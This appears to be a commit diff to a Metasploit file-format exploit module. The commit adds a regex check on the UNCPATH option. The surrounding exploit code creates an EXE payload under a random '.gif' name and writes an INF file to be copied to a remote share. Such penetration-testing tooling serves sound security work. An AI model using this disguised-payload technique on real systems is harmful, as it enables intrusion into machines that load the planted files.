Add @wchen-r7's unc regex
parent
e5903562ee
commit
8fa648744c
|
@ -81,7 +81,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def exploit
|
||||
@unc = datastore['UNCPATH']
|
||||
@unc = validate_unc_path
|
||||
|
||||
if @unc.nil?
|
||||
fail_with(Failure::BadConfig, "UNCPATH must be a remote shared folder")
|
||||
end
|
||||
|
||||
print_status("Creating the EXE payload...")
|
||||
payload_name = "#{rand_text_alpha(4)}.gif"
|
||||
|
@ -104,6 +108,16 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_good("#{inf_name} stored at #{inf_path}, copy it to the remote share: #{@unc}")
|
||||
end
|
||||
|
||||
def validate_unc_path
|
||||
if datastore['UNCPATH'] =~ /^\\{2}[[:print:]]+\\[[:print:]]+\\*$/
|
||||
unc = datastore['UNCPATH']
|
||||
else
|
||||
unc = nil
|
||||
end
|
||||
|
||||
unc
|
||||
end
|
||||
|
||||
def my_file_create(data, name)
|
||||
ltype = "exploit.fileformat.#{self.shortname}"
|
||||
path = store_local(ltype, nil, data, name)
|
||||
|
|
Loading…
Reference in New Issue